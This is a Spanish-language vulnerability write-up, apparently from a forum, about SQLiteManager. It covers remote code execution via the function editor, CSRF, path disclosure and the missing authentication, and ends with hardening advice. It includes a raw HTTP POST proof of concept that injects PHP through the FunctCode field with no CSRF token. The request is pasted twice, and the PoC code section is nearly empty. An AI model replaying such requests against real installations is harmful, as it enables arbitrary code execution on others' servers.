Remote Execution
Hay ejecución remota cuando vas a la sección de bases de datos y le haces click en cualqueir función, entonces editas una función y al guardarla ya se estará ejecutando el código automáticamente:
Conversado con una persona me decía que esto no es arbitrario ya que el sistema deja por defecto crear funciones, pero .... normalmente no debería ejecutarse todo código que se escriba, normalmente debería quedar encerrado en una clase publica de forma que si hay una ejecución forzada no debería ejecutarse hasta que la función realmente sea llamada o necesitada y no cargar todo en memoria como se hace actualmente dejando desprotegido el sistema, a mucho debería tener un input para dictar el nombre de la función y un filtro que verifique que todas las llaves están correctamente cerradas para evitar el escape hacia fuera de la función.
Debería?... nop, no debería.
PoC:
Código
Fijarse que en win los slash son dobles "\\" porque uno solo es escape de carácter, es como decir "^<" en batch.
$out = 'c:\\wamp\\www\\x.php';
CSRF
Citar
http://censurado/sqlitemanager/main.php?dbsel=1
POST /sqlitemanager/main.php?dbsel=1 HTTP/1.1
Host: requetecensurado :p
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3,
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://censurado/sqlitemanager/main.php?dbsel=1&function=IF&action=modify
Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 332
FunctName=IF&FunctType=1&FunctCode=echo+%27test%27%3B%0D%0Afunction+sqliteIf%28%24compare%2C+%24good%2C+%24bad%29%7B%0D%0A++++if+%28%24compare%29+%7B%0D%0A++++++++return+%24good%3B%0D%0A++++%7D+else+%7B+%0D%0A++++++++return+%24bad%3B%0D%0A++++%7D%0D%0A%7D&FunctFinalCode=&FunctNumArgs=3&FunctAttribAll=1&function=IF&id=1&action=save
No hay un token de verificación ni nada que impida la ejecución arbitraria de lo que al atacante se le antoje.POST /sqlitemanager/main.php?dbsel=1 HTTP/1.1
Host: requetecensurado :p
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3,
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://censurado/sqlitemanager/main.php?dbsel=1&function=IF&action=modify
Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 332
FunctName=IF&FunctType=1&FunctCode=echo+%27test%27%3B%0D%0Afunction+sqliteIf%28%24compare%2C+%24good%2C+%24bad%29%7B%0D%0A++++if+%28%24compare%29+%7B%0D%0A++++++++return+%24good%3B%0D%0A++++%7D+else+%7B+%0D%0A++++++++return+%24bad%3B%0D%0A++++%7D%0D%0A%7D&FunctFinalCode=&FunctNumArgs=3&FunctAttribAll=1&function=IF&id=1&action=save
Path Disclosure
Puedes dar una ejecución arbitraria con error forzado y te arrojará un path disclosure:
La solución sería nunca mostrar error_reporting(E_ALL) en un sistema publicado.
Falta de Autificación
Como no hay un login de autentificación por defecto en este sistema pasa lo que pasa.
Consecuencias
Recomendaciones
Poner en un lugar mas inaccesible este sistema para que no pueda ser manipulado de forma externa y agregarle un login de seguridad como por ejemplo un auth de apache con htaccess.
Saludos.